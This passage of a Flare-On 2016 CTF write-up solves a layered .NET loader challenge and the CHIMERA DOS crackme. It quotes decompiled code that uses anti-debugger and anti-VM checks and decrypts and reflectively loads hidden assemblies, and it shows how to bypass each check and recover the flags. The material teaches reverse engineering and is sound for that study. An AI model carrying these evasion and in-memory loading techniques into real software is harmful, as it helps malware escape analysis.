That's much better! So let's dive into it. The button click event, displayed above, is a good place to start. The code is reading some resource, decrypting it, decompressing it, loading it, getting a method, and then invoking it. The question is: what is it loading? If we step over it, lines 14 and 15 are never reached, which means that this unknown method is returning false. We probably need to make it return true. Let's step into it and see what's happening inside.

After quite a few steps we arrive at another module's constructor; the module being Layer1.dll, as can be seen from the Assembly Explorer:


Once again we're back to obfuscated code. To obtain an unobfuscated version we can break at line 6 in the button click event handler displayed above, save the contents of variable rawAssembly which contains the raw bytes of the dll, deobfuscate it with Unconfuser and de4dot, and load it into dnSpy. Even though we can't run it, at least we'll have cleaner code to reference while stepping through the obfuscated one. From now on I will be displaying code extracts from the unobfuscated version even though the execution really happens in the obfuscated one.

Just after the constructor we get to the Start() function:
public static bool Start(string config)
{
    Config config2 = Config.InitConfig(config);
    if (config2 == null)
    {
        return false;
    }
    if (!CPUDetection.CheckCPUCount(config2.CPUCount))
    {
        return false;
    }
    if (config2.DebugDetection && Layer1.IsDebuggerPresent())
    {
        return false;
    }
    bool result;
    try
    {
        string key = Layer1.getKey();
        byte[] bytesToBeDecrypted = util.ReadResource(<Module>.smethod_2<string>(2155271801u));
        byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
        byte[] rawAssembly = util.DecompressBuffer(buffer);
        Assembly assembly = Assembly.Load(rawAssembly);
        Type type = assembly.GetType(<Module>.smethod_4<string>(1983674467u));
        MethodInfo method = type.GetMethod(<Module>.smethod_2<string>(1619868913u));
        result = (bool)method.Invoke(null, new object[]
        {
            <Module>.smethod_2<string>(2894386820u)
        });
    }
    catch (Exception)
    {
        result = false;
    }
    return result;
}

Notice the contents of the local variable config, which contains the 2nd share:
  • Share:2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3

The first part of Layer1's Start() function checks the CPU Count and if a debugger is present, both of which succeed on my machine; if not, just alter the result and make them pass.

It then runs the Layer1.getKey() function (line 19) which enumerates the subdirectories the binary is running from, computes the base64 of their MD5 hashes and checks if one of them matches UtYSc3XYLz4wCCfrR5ssZQ==. This translates to the word share. Create the required folder or modify one of the existing ones in dnSpy and continue execution. As in the previous layer, another dll is loaded into memory and the Start() function of this dll is called.

Welcome to Layer2.dll! The Start() function in layer2 looks more elaborate but in essence it is very similar to layer1:

public static bool Start(string config)
{
    if (Layer2.IsVideoCardFromEmulator())
    {
        return false;
    }
    bool result;
    try
    {
        string key = Layer2.getKey();
        byte[] bytesToBeDecrypted = util.ReadResource(<Module>.smethod_5<string>(3753327011u));
        MethodInfo method;
        object[] array;
        while (true)
        {
            IL_114:
            uint arg_E7_0 = 940752502u;
            while (true)
            {
                uint num;
                switch ((num = (arg_E7_0 ^ 1520223704u)) % 8u)
                {
                case 0u:
                    goto IL_114;
                case 1u:
                {
                    Assembly assembly;
                    Type type = assembly.GetType(<Module>.smethod_2<string>(4061409225u));
                    arg_E7_0 = (num * 4242975297u ^ 1282056291u);
                    continue;
                }
                case 2u:
                {
                    Type type;
                    method = type.GetMethod(<Module>.smethod_4<string>(2617334851u));
                    array = new object[1];
                    arg_E7_0 = (num * 1579163950u ^ 3648286203u);
                    continue;
                }
                case 3u:
                {
                    byte[] rawAssembly;
                    Assembly assembly = Assembly.Load(rawAssembly);
                    arg_E7_0 = (num * 1590382241u ^ 2941013770u);
                    continue;
                }
                case 4u:
                {
                    byte[] buffer;
                    byte[] rawAssembly = util.DecompressBuffer(buffer);
                    arg_E7_0 = (num * 92554542u ^ 2808918491u);
                    continue;
                }
                case 6u:
                {
                    byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
                    arg_E7_0 = (num * 4054600647u ^ 1312138318u);
                    continue;
                }
                case 7u:
                    array[0] = <Module>.smethod_4<string>(927985914u);
                    arg_E7_0 = (num * 2757215955u ^ 2775083800u);
                    continue;
                }
                goto Block_3;
            }
        }
        Block_3:
        result = (bool)method.Invoke(null, array);
    }
    catch (Exception)
    {
        while (true)
        {
            IL_162:
            uint arg_136_0 = 1603173826u;
            while (true)
            {
                uint num;
                switch ((num = (arg_136_0 ^ 1520223704u)) % 3u)
                {
                case 0u:
                    goto IL_162;
                case 2u:
                    result = false;
                    arg_136_0 = (num * 1446448774u ^ 4267266598u);
                    continue;
                }
                goto Block_5;
            }
        }
        Block_5:;
    }
    return result;
}


The function Layer2.IsVideoCardFromEmulator() (line 3) uses the WMI query select * from win32_videocontroller to query our video card's make and fails if it matches one of the following: "virtual", "vmware", "parallel", "vm additions", "remotefx","generic","cirrus logic","standard vga","matrox". Change the result and move on.

The next interesting function is Layer2.getKey(); it enumerates all the keys under HKEY_CURRENT_USER, computes the base64 of their MD5 hashes and checks if one of them matches Xr4ilOzQ4PCOq3aQ0qbuaQ==. This translates to the word secret. Create the key or modify an existing one in dnSpy to bypass this check.

The rest of the Start() function (lines 11 - 70) is just a convoluted way to load the next dll using the same old function from the previous 2 layers.

Phew! We're in layer 3; this is getting old! I present you ... Layer3's Start() function:

public static bool Start(string config)
{
    bool result;
    try
    {
        string key = Layer3.getKey();
        while (true)
        {
            IL_135:
            uint arg_103_0 = 4289824873u;
            while (true)
            {
                uint num;
                switch ((num = (arg_103_0 ^ 3707440169u)) % 9u)
                {
                case 0u:
                    goto IL_135;
                case 1u:
                {
                    byte[] bytesToBeDecrypted;
                    byte[] bytes = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
                    arg_103_0 = (num * 661416811u ^ 2039414464u);
                    continue;
                }
                case 2u:
                {
                    byte[] bytesToBeDecrypted = util.ReadResource(<Module>.smethod_5<string>(2921636399u));
                    arg_103_0 = (num * 3538037274u ^ 2949823500u);
                    continue;
                }
                case 4u:
                {
                    byte[] bytes2;
                    File.WriteAllBytes(<Module>.smethod_6<string>(2663114732u), bytes2);
                    ProcessStartInfo processStartInfo = new ProcessStartInfo(<Module>.smethod_9<string>(1143424475u));
                    arg_103_0 = (num * 1327553900u ^ 1386100579u);
                    continue;
                }
                case 5u:
                {
                    byte[] bytes;
                    File.WriteAllBytes(<Module>.smethod_6<string>(2505810066u), bytes);
                    arg_103_0 = (num * 3787366363u ^ 40351029u);
                    continue;
                }
                case 6u:
                {
                    ProcessStartInfo processStartInfo;
                    Process.Start(processStartInfo);
                    arg_103_0 = (num * 284573691u ^ 2598046760u);
                    continue;
                }
                case 7u:
                {
                    ProcessStartInfo processStartInfo;
                    processStartInfo.Verb = <Module>.smethod_6<string>(3666361390u);
                    arg_103_0 = (num * 183203051u ^ 3338640763u);
                    continue;
                }
                case 8u:
                {
                    byte[] bytes2 = util.ReadResource(<Module>.smethod_8<string>(4245356310u));
                    arg_103_0 = (num * 748758343u ^ 2498904875u);
                    continue;
                }
                }
                goto Block_2;
            }
        }
        Block_2:
        return true;
    }
    catch (Exception)
    {
        result = false;
    }
    return result;
}



Once again we have a getKey() function which enumerates the users on the machine using the WMI query select * from Win32_UserAccount and, using the same MD5+Base64 method as in the previous layers, checks if the user shamir exists. Bypass it! You're probably an expert at doing this by now.

The rest of the function is a bit different than the previous ones. While stepping through from layer2 to layer3, you have probably realised that a new thread was being initialized and constructed, but never started. Line 49 is the point this happens. As soon as we step over this, the following image pops up:


Nice, we've got Share 6:

  • Share:6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a

If we continue tracing, the execution hits line 71, which returns true, and step by step it starts exiting each embedded function until we get all the way to the original PE. This time it hits the other MessageBox.Show() function and we get:


Is that it? What now? If we look at the folder where GUI.exe is, we notice a new binary called ssss-combine.exe. This binary is used to combine the shares we obtained to reveal a secret. Still, were are the other 3 shares?

At this point I thought I could either go through the program in a more thorough way, stepping into each and every function or, if the strings have been constructed at some point during the execution, they must reside in memory. And of course I went with the latter. So, memdump the process, run strings and grep:

root@kali: ~/Desktop
root@kali:~/Desktop# strings GUI.DMP | grep -i share: Share:1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64 no/-|-\no/-|-\no/-|-\2/-|-\shareShare:2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3 Share:3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294 Share:4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd Share:3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294 Share:4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd Share:5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3 root@kali:~/Desktop#


Combining all 6 shares we get:

Command Prompt
C:\>ssss-combine.exe -t 6 Shamir Secret Sharing Scheme - $Id$ Copyright 2005 B. Poettering, Win32 port by Alex.Popov@leggettwood.com Enter 6 shares separated by newlines: Share [1/6]: 1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64 Share [2/6]: 2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3 Share [3/6]: 3-523cb5c21996113beae6550ea06f5a71983efcac186e36b23c030c86363ad294 Share [4/6]: 4-04b58fbd216f71a31c9ff79b22f258831e3e12512c2ae7d8287c8fe64aed54cd Share [5/6]: 5-5888733744329f95467930d20d701781f26b4c3605fe74eefa6ca152b450a5d3 Share [6/6]: 6-a003fcf2955ced997c8741a6473d7e3f3540a8235b5bac16d3913a3892215f0a Resulting secret: Shamir_1s_C0nfused@flare-on.com C:\>

CTF Writeup - Flare-On 2016 - 08: CHIMERA


  • Name - CHIMERA
  • Category - Reverse Engineering
  • Points - 8
  • Description - n/a
  • Binary - Download here

This challenge was my personal favourite out of all 10 challenges. It's not particularly hard once you figure out what the trick is but the twist is what makes it interesting. Let's run the binary with some random input:


Command Prompt
C:\>CHIMERA.EXE This one's for the geezers. Enter the password> who_are_you_calling_a_geezer You have fail. Please try harder. C:\>



Opening the binary in IDA shows a very simple function which reminds me of beginner-level crackmes:


From the image above we can immediately deduce that our input has to be of length 0x1A; anything beyond that will not be considered. The function operates on each byte of our input individually, adding the value of the counter to it, XOR'ing it with 0x7A and compares it with a buffer. Let's implement the inverse of this function to get the expected input.


    import sys

    byte_4021D2 = ["0E","13","11","0C","5E","14","03","5D","06","0B",
                   "15","51","F9","05","07","07","0D","4B","F8","0E",
                   "FD","F2","F7","FC","F0","07"]

    for x in range(len(byte_4021D2)):
        operation_1 = int(byte_4021D2[x],16) ^ 0x7A
        operation_2 = operation_1 - x
        sys.stdout.write(chr(operation_2))

Inputting the output result,"this is the wrong password", we get:


Command Prompt
C:\>CHIMERA.EXE This one's for the geezers. Enter the password> this is the wrong password You have fail. Please try harder. C:\>


But why !!?? If we take a look at the image above again, there's a 2-line basic block with a compare: CMP [ebp+var_10], 0x9F5, which succeeds if we give it "this is the wrong password" and hence outputs the failure message. Can we get the binary to succeed on both computations, the byte-by-byte comparison and the final comparison? The answer is NO.

The twist is ........ there's another way of running the binary! The following are a few hints that indicate this:
  • The string "This program cannot not be run in DOS mode." (Notice the double negation)
  • The name of the binary, CHIMERA.EXE, is an 8.3 filename
  • IDA complains that the import segment is broken
  • The .text section is RWX

The binary is in fact a 16-bit packed executable. The only way I found to execute and debug this binary is to use the debug version of DOSBox. This can be downloaded from here. Run the installer to get the standard version of DOSBox and then place dosbox-74-debug.exe in the installation folder and run it. This should open 2 windows, the standard console and the debug window:



The following are a few DOSBox debugger shortcuts and commands that proved to be useful to navigate the cluttered interface:
  • F5 - Run
  • F10/F11 - step over / trace into
  • Up/Down - Move code view cursor
  • Page Up/Down - Scroll data view
  • Home/End - Scroll log messages
  • BP [segment]:[offset] - Set breakpoint
  • BPDEL * - Delete all breakpoints
  • Home/End - Scroll log messages
  • SR [reg] [value] - Set register value
  • C / D [segment]:[offset] - Set code / data view address

To start debugging CHIMERA.EXE mount the C drive with 'mount C C:\', navigate to the folder and run 'debug CHIMERA.EXE'. The execution now shifts to the debugger and we can start stepping into the binary. The first hurdle we get is the following:


    020E:07D7  mov  ax,2A00
    020E:07DA  int  21
    020E:07DC  sub  cx,07C6
    020E:07E0  jg   000008B0 ($+cc)        (down)


The instruction int 21 is an interrupt which performs actions depending on the contents of AH. A list of these can found here. The ASM above grabs the system date, puts the year in CX, subtracts 0x7C6 (1990) from it, and jumps if it's greater. As we don't want it to jump we can issue 'sr sf 1' to change the sign flag and not take the jump.

After the simple check, we get the following algorithm which operates on the input string in reverse order:


    020E:0802  mov  dl,97             ; Loads 0x97, this is the first input
    020E:0804  mov  ah,[075F]         ; AH = length of input string
    020E:0808  cmp  cl,ah             ; CL = Counter
    020E:080A  je   0000084E ($+42)   ; jmp if all bytes are processed
    020E:080C  jne  0000080F ($+1)    ; jmp if NOT all bytes are processed

    020E:080F  mov  al,ah
    020E:0811  dec  al
    020E:0813  sub  al,cl
    020E:0815  test cl,cl
    020E:0817  je   0000082D ($+14)   ; jmp if 1st iteration of loop
    020E:0819  je   0000081E ($+3)    ; 
    020E:081B  jne  0000081E ($+1)    ; jmp if NOT 1st iteration of loop

    020E:081E  mov  bx,0760
    020E:0821  movzx dx,sp
    020E:0824  add  bx,dx
    020E:0826  jne  00000829 ($+1)

    020E:0829  sub  bx,cx             
    020E:082B  mov  dl,[bx]          ; loads char from input
    020E:082D  rol  dl,03            ; rol3 on char
    020E:0830  movzx bx,dx
    020E:0833  je   00000838 ($+3)
    020E:0835  jne  00000838 ($+1)

    020E:0838  movzx bx,[bx+0461]    ; performs mapping from constant byte array
    020E:083D  mov  dl,[bx+0461]     ; performs another mapping from constant byte array
    020E:0841  movzx bx,ax
    020E:0844  xor  [bx+0760],dl     ; XOR result with next input char
    020E:0848  inc  cx
    020E:0849  jne  0000084C ($+1)


    020E:084C  jmp  short 00000808 ($-46)  ; jumps to 020E:0808



The algorithm is pretty straight forward: loads 0x97, rotates it, translates it twice from a fixed buffer and 1) XOR's it with the next char; 2) stores it as input for the next rotation. In code this looks like this:


    translate_map = ["FF","15","74","20","40","00","89","EC","5D","C3","42","46",
                     "C0","63","86","2A","AB","08","BF","8C","4C","25","19","31",
                     
                     [ .. snip .. ]

                     "AE","CA","C4","77","0C","4E","D4","D0","C8","E1","B8","F9",
                     "26","90","81","34"]

    rol = lambda val, r_bits, max_bits: \
        (val << r_bits%max_bits) & (2**max_bits-1) | \
        ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

 
    def rol_hex(hex_string):
        return rol(int(hex_string,16),3, 8)

    def double_translate(x):
        return translate_map[int(translate_map[x],16)]
 
    input = "01234567890123456789012345"

    input_list = [ord(x) for x in input]
    input_list.append(0x97)
    input_list.reverse()

    for x in range(1, len(input_list)):
        x_rol3 = rol(input_list[x-1], 3, 8)
        input_list[x] = int(double_translate(x_rol3),16) ^ input_list[x]
  
    input_list.reverse()
    print [hex(x) for x in input_list] 

The resultant byte array is then fed into a second, much simpler algorithm:


    020E:0854  mov  dl,C5            ; Loads 0xC6, this is the first input
    020E:0856  cmp  cl,ah            ; AH = length of previous buffer
    020E:0858  je   00000875 ($+1b)  ; never taken
    020E:085A  test cl,cl
    020E:085C  je   00000869 ($+b)   ; jmp if 1st iteration of loop
    020E:085E  jne  00000862 ($+2)   ; jmp if NOT 1st iteration of loop

    020E:0862  mov  bx,cx
    020E:0864  dec  bx
    020E:0865  mov  dl,[bx+0760]     ; loads char from input
    020E:0869  mov  bx,cx
    020E:086B  xor  [bx+0760],dl     ; XOR's it with next char from input
    020E:086F  inc  cx
    020E:0870  jne  00000873 ($+1)         ; always taken
    020E:0872  jmp  short 0000085F ($-15)  
    020E:0873  jmp  short 00000856 ($-1f)  ; jmp back to 020E:0856


This can be easily translated into the following code, which takes the result from the previous algorithm:


    input_list.insert(0, 0xC5)
    for x in range(1, len(input_list)):
        input_list[x] = input_list[x] ^ input_list[x-1]
 
    print [hex(x) for x in input_list[1:-1]]

The output then goes into a loop, consisting of 0x1A rounds, which compares each byte to a fixed buffer. At this point we have the inner workings of both algorithms performed on the input and the expected final buffer. We can therefore invert the process to get the correct input:


    end_buffer = ["38","E1","4A","1B","0C","1A","46","46","0A","96","29","73","73",
                  "A4","69","03","00","1B","A8","F8","B8","24","16","D6","09","CB",
                  "B9","70","00","89","CB","4B"]


    translate_map = ["FF","15","74","20","40","00","89","EC","5D","C3","42","46",
                     "C0","63","86","2A","AB","08","BF","8C","4C","25","19","31",
                     
                     [ .. snip .. ]

                     "AE","CA","C4","77","0C","4E","D4","D0","C8","E1","B8","F9",
                     "26","90","81","34"]

    rol = lambda val, r_bits, max_bits: \
        (val << r_bits%max_bits) & (2**max_bits-1) | \
        ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
 
    def rol_hex(hex_string):
        return rol(int(hex_string,16),3, 8)
 
 
    def double_translate(x):
        return translate_map[int(translate_map[x],16)]

 
    end_buffer_int = [int(x,16) for x in end_buffer]
    end_buffer_int.insert(0, 0xC5)
    end_buffer_int.reverse()

    for x in range(len(end_buffer_int) - 1 ):
        end_buffer_int[x] = end_buffer_int[x] ^ end_buffer_int[x+1]
 
    end_buffer_int.reverse()

    #remove 0xC5
    end_buffer_int = end_buffer_int[1:]

    end_buffer_int.append(0x97)

    for x in range(0, len(end_buffer_int)-1):
        x_rol3 = rol(end_buffer_int[x+1], 3, 8)
        end_buffer_int[x] = int(double_translate(x_rol3),16) ^ end_buffer_int[x]
 
    print ''.join([chr(x) for x in end_buffer_int])


Testing the result:


DOSBox 0.74, Cpu speed: 3000 cylces, Frameskip 0, Program: DOSBOX
C:\>debug CHIMERA.EXE This program cannot not be run in DOS mode. This one's for the geezers. Enter the password> retr0_hack1ng@flare-on.com You have succeed. C:\>